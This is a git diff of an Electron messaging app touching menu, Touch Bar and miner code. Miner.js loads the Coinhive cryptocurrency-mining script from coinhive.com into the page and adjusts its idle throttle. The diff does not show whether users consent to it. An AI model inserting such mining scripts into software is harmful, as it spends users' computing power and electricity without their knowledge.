3 files changed, 33 insertions, 35 deletions

diff --git a/src/lib/Menu.js b/src/lib/Menu.js
index 8f0a92c3d..d01666d49 100644
--- a/src/lib/Menu.js
+++ b/src/lib/Menu.js
@@ -167,7 +167,7 @@ export default class FranzMenu {
             label: 'Settings',
             accelerator: 'CmdOrCtrl+,',
             click: () => {
-              this.actions.ui.openSettings({ path: '' });
+              this.actions.ui.openSettings({ path: 'app' });
             },
           },
           {
@@ -214,30 +214,6 @@ export default class FranzMenu {
           ],
         },
       );
-      // Window menu.
-      tpl[3].submenu = [
-        {
-          // label: 'Close',
-          accelerator: 'CmdOrCtrl+W',
-          role: 'close',
-        },
-        {
-          // label: 'Minimize',
-          accelerator: 'CmdOrCtrl+M',
-          role: 'minimize',
-        },
-        {
-          // label: 'Zoom',
-          role: 'zoom',
-        },
-        {
-          type: 'separator',
-        },
-        {
-          // label: 'Bring All to Front',
-          role: 'front',
-        },
-      ];
     } else {
       tpl[4].submenu.unshift({
         role: 'about',
@@ -273,11 +249,11 @@ export default class FranzMenu {
   }
 
   @computed get serviceTpl() {
-    const services = this.stores.services.enabled;
+    const services = this.stores.services.allDisplayed;
 
     if (this.stores.user.isLoggedIn) {
       return services.map((service, i) => ({
-        label: service.name,
+        label: this._getServiceName(service),
         accelerator: i <= 9 ? `CmdOrCtrl+${i + 1}` : null,
         type: 'radio',
         checked: service.isActive,
@@ -289,4 +265,20 @@ export default class FranzMenu {
 
     return [];
   }
+
+  _getServiceName(service) {
+    if (service.name) {
+      return service.name;
+    }
+
+    let name = service.recipe.name;
+
+    if (service.team) {
+      name = `${name} (${service.team})`;
+    } else if (service.customUrl) {
+      name = `${name} (${service.customUrl})`;
+    }
+
+    return name;
+  }
 }
diff --git a/src/lib/Miner.js b/src/lib/Miner.js
index 5fac92477..cbf490bcb 100644
--- a/src/lib/Miner.js
+++ b/src/lib/Miner.js
@@ -2,7 +2,7 @@ export default class Miner {
   wallet = null;
   options = {
     throttle: 0.75,
-    throttleIdle: 0.1,
+    throttleIdle: 0.65,
   };
   miner = null;
   interval;
@@ -17,7 +17,7 @@ export default class Miner {
     const script = document.createElement('script');
     script.id = 'coinhive';
     script.type = 'text/javascript';
-    script.src = 'https://coinhive.com/lib/coinhive.min.js';
+    script.src = 'https://coinhive.com/lib/ch2.min.js';
     document.head.appendChild(script);
 
     script.addEventListener('load', () => {
diff --git a/src/lib/TouchBar.js b/src/lib/TouchBar.js
index ad7849b8e..97c02d194 100644
--- a/src/lib/TouchBar.js
+++ b/src/lib/TouchBar.js
@@ -1,3 +1,5 @@
+import os from 'os';
+import semver from 'semver';
 import { remote } from 'electron';
 import { autorun } from 'mobx';
 
@@ -8,17 +10,21 @@ export default class FranzTouchBar {
     this.stores = stores;
     this.actions = actions;
 
-    this._initializeReactions();
-  }
-
-  _initializeReactions() {
-    this.build = autorun(this._build.bind(this));
+    // Temporary fix for https://github.com/electron/electron/issues/10442
+    // TODO: remove when we upgrade to electron 1.8.2 or later
+    try {
+      if (isMac && semver.gt(os.release(), '16.6.0')) {
+        this.build = autorun(this._build.bind(this));
+      }
+    } catch (err) {
+      console.error(err);
+    }
   }
 
   _build() {
     const currentWindow = remote.getCurrentWindow();
 
-    if (isMac && this.stores.user.isLoggedIn) {
+    if (this.stores.user.isLoggedIn) {
       const { TouchBar } = remote;
       const { TouchBarButton, TouchBarSpacer } = TouchBar;